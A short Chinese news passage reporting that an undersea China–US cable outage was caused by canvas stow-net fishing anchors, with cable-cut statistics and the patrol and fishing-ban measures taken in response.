经有关部门调查,中美海缆阻断事故系帆布涨网捕鱼所致。据介绍,帆布涨网捕鱼是在 90 年代中期从韩国流传到中国的,这一作业方式对海底光缆威胁很大。该网锚长 2.2 米,重 1.2 吨,扎入海底可达 2 米左右,且随潮流的涨落而回转,在海底形成一个长约 500 米的回转椭圆形,如遇大浪,锚的移动距离最大可达 4 海里。因此,锚的移动对埋入海底只有 1 至 2 米深的海底光缆具有很大的威胁。另据介绍,1999 年中国海域海底光缆被阻断达 18 次之多。2000 年,有关部门决定在 5 年内彻底淘汰这一作业方式,但是帆布涨网渔船有增无减,仅浙江舟山地区就有 1500 艘。
为确保不再发生类似的事故,中国海底电缆公司准备增加 4 条巡逻船,加强 24 小时雷达监控。同时,上海有关部门加强了打击破坏光缆的力度,严禁渔船在海缆路由及两侧各两海里范围内抛锚及进行捕捞作业。
更多精彩好书,更多原创手机电子书,请登陆请看小说网--www.qiyebooks.com